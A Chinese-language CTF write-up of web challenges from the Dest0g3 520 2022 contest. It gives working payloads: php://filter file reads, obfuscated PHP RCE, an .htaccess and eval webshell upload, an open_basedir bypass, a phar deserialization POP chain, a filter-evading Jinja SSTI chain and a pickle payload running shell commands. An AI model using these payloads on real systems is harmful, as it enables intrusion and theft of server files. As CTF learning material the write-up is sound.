Dest0g3 520 迎新赛 2022 DestCTF 部分 web wp (持续更新)
[DestCTF]phpdest
参考https://www.anquanke.com/post/id/213235
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
方法二:日志包含也可以/var/log/nginx/access.log
[DestCTF]simpleRCE
取反绕过
aaa=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);
[DestCTF]easyphp
让其报错即可
post: ctf[]=1
[DestCTF]funny_upload
可以上传.htaccess,于是攻击面变广了
AddType application/x-httpd-php .txt
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/uploads/c47b21fcf8f0bc8b3920541abd8024fd/shell.txt"
传个shell.txt内容为
PD9waHAgZXZhbCgkX1BPU1RbYV0pO3BocGluZm8oKTs/Pg==
之后可以rce,注意有disable_function和dir的限制
payload
a=mkdir('tmpdir');chdir('tmpdir');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');$a=file_get_contents('/flag');var_dump($a);
[Destctf2022]PharPOP
总体思路
tree::__destruct->tree::__call->apple::__get()->->air::__set()->banana::__get()->new FilesystemIterator('/')
然后把它变为phar文件,使用file_put_contents写上去,file_get_contents时phar协议读取触发反序列化
具体细节
pop链
$tree = new tree();
$apple = new apple();
$banana = new banana();
$air = new air();
$tree->name = $apple;
$apple->xxx = $air;
$apple->flag = "glob:///*f*";
$banana->act = "FilesystemIterator";
$air->p = $banana;
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($tree); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
先生成phar然后用010修改phar内容,将括号删除, 使用fast_destruct绕过new Error
然后用py脚本生成新的phar文件
from hashlib import sha1
file = open("D:\\phpstudy_pro\\WWW\\PhpstormProjects\\untitled\\phar.phar","rb").read()
text = file[:-28] #读取开始到末尾除签名外内容
last = file[-8:] #读取最后8位的GBMB和签名flag
new_file = text+sha1(text).digest() + last #生成新的文件内容,主要是此时sha1正确了。
open("D:\\phpstudy_pro\\WWW\\PhpstormProjects\\untitled\\phar.phar2","wb").write(new_file)
这个phar文件位置是我自己的位置,自行修改然后用gizp压缩gzip phar.phar2 (为了加密压缩以绕过waf函数)然后python发包
import requests
url1 = 'http://localhost:1236/'
url = 'http://7ea55ed9-7e09-4fd5-b409-064d9242fde7.node4.buuoj.cn:81/'
res = requests.post(
url,
data={
1: 'O:1:"D":1:{s:5:"start";s:1:"w";',
0: open('D:\\phpstudy_pro\\WWW\\PhpstormProjects\\untitled\\phar.phar2.gz', 'rb').read()
}
) # 写入并触发
print(res.text)
最后读取即可,位置是上传的,自己修改post
1=O:1:"D":1:{s:5:"start";s:1:"r";&0=phar:///tmp/d46e047b524c273a3bc54285ff8fc1d5.jpg
FilesystemIterator这个是原生类,
[Destctf2022]ezssti
空格用%0d绕过,剩下的是过滤器绕过
username={%25set%0dpoint=config|string|truncate(4)|last%25}
{%25set%0dcxhx=config|join|truncate(28)|replace(point,wu)|last%25}
{%25set%0dca=config|join|truncate(23)|replace(point,wu)|last|lower%25}
{%25set%0dcb=config|join|truncate(9)|replace(point,wu)|last|lower%25}
{%25set%0dcc=config|join|truncate(31)|replace(point,wu)|last|lower%25}
{%25set%0dcd=config|join|truncate(7)|replace(point,wu)|last|lower%25}
{%25set%0dce=config|join|truncate(4)|replace(point,wu)|last|lower%25}
{%25set%0dcf=config|join|truncate(98)|replace(point,wu)|last|lower%25}
{%25set%0dcg=config|join|truncate(11)|replace(point,wu)|last|lower%25}
{%25set%0dch=config|join|truncate(203)|replace(point,wu)|last|lower%25}
{%25set%0dci=config|join|truncate(16)|replace(point,wu)|last|lower%25}
{%25set%0dcj=config|join|truncate(429)|replace(point,wu)|last|lower%25}
{%25set%0dck=config|join|truncate(75)|replace(point,wu)|last|lower%25}
{%25set%0dcl=config|join|truncate(96)|replace(point,wu)|last|lower%25}
{%25set%0dcm=config|join|truncate(81)|replace(point,wu)|last|lower%25}
{%25set%0dcn=config|join|truncate(5)|replace(point,wu)|last|lower%25}
{%25set%0dco=config|join|truncate(21)|replace(point,wu)|last|lower%25}
{%25set%0dcp=config|join|truncate(19)|replace(point,wu)|last|lower%25}
{%25set%0dcq=config|join|truncate(294)|replace(point,wu)|last|lower%25}
{%25set%0dcr=config|join|truncate(20)|replace(point,wu)|last|lower%25}
{%25set%0dcs=config|join|truncate(14)|replace(point,wu)|last|lower%25}
{%25set%0dct=config|join|truncate(12)|replace(point,wu)|last|lower%25}
{%25set%0dcu=config|join|truncate(10)|replace(point,wu)|last|lower%25}
{%25set%0dcv=config|join|truncate(6)|replace(point,wu)|last|lower%25}
{%25set%0dcx=config|join|truncate(30)|replace(point,wu)|last|lower%25}
{%25set%0dcy=config|join|truncate(77)|replace(point,wu)|last|lower%25}
{%25set%0dcz=config|join|truncate(533)|replace(point,wu)|last|lower%25}
{%25set%0dglo=cxhx%2Bcxhx%2Bcg%2Bcl%2Bco%2Bcb%2Bca%2Bcl%2Bcs%2Bcxhx%2Bcxhx%25}
{%25set%0dcla=cxhx%2Bcxhx%2Bcc%2Bcl%2Bca%2Bcs%2Bcs%2Bcxhx%2Bcxhx%25}
{%25set%0dooo=lipsum|attr(glo)|attr(cp%2Bco%2Bcp)(co%2Bcs)%25}
{%25set%0da1=config|string|truncate(300)|replace(point,wu)|list%25}
{{a1|attr(cp%2Bco%2Bcp)()}}
{{a1|attr(cp%2Bco%2Bcp)()}}
{%25set%0dgang=a1|attr(cp%2Bco%2Bcp)()%25}
{%25set%0da2=config|list|string|truncate(20)|replace(point,wu)|list%25}
{{a2|attr(cp%2Bco%2Bcp)()}}
{{a2|attr(cp%2Bco%2Bcp)()}}
{{a2|attr(cp%2Bco%2Bcp)()}}
{{a2|attr(cp%2Bco%2Bcp)()}}
{{a2|attr(cp%2Bco%2Bcp)()}}
{{a2|attr(cp%2Bco%2Bcp)()}}
{{a2|attr(cp%2Bco%2Bcp)()}}
{{a2|attr(cp%2Bco%2Bcp)()}}
{%25set%0dspace=a2|attr(cp%2Bco%2Bcp)()%25}
{{ooo|attr(cp%2Bco%2Bcp%2Bce%2Bcn)(cc%2Bca%2Bct%2Bspace%2Bgang%2Bcf%2Bcl%2Bca%2Bcg)|attr(cr%2Bce%2Bca%2Bcd)()}}
[Destctf2022]middle
现学:pickle反序列化初探 - 先知社区 (aliyun.com)
在绕waf了,现学一波pickle https://www.anquanke.com/post/id/248899#h2-5
直接关键词搜索https://github.com/EddieIvan01/pker
写exp
酱紫pickle反序列化,但是
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
限定了只能反序列化config类,而且调用的方法或属性中不能含有__
直接参考这个http://www.hackdig.com/08/hack-426914.htm(就是用它给的backdoor)
用的这个工具https://github.com/EddieIvan01/pker
config_backdoor = GLOBAL('config', 'backdoor')
config_backdoor(["__import__('os').popen('cat /flag.txt').read()"])
return
python3 pker.py < test/DestPickle
再写一个转base64的exp
data = b"cconfig\nbackdoor\np0\n0g0\n((S'__import__(\\'os\\').popen(\\'cat /flag.txt\\').read()'\nltR."
data = base64.b64encode(data)
print(data)
生成payload
data=Y2NvbmZpZwpiYWNrZG9vcgpwMAowZzAKKChTJ19faW1wb3J0X18oXCdvc1wnKS5wb3BlbihcJ2NhdCAvZmxhZy50eHRcJykucmVhZCgpJwpsdFIu
[Destctf2022]ezip
import zipfile
import io
mf = io.BytesIO()
with zipfile.ZipFile(mf, mode="w", compression=zipfile.ZIP_STORED) as zf:
zf.writestr('1.php', b'@<?php phpinfo();?>')
zf.writestr('A'*5000, b'AAAAA')
with open("shell.zip", "wb") as f:
f.write(mf.getvalue())
问了y0,说不需要提权,换几个命令读取,可是这ls -al明明权限是root
a=system('nl /flag');
从做题的角度上看,只能说平时没事多用各种指令读读看先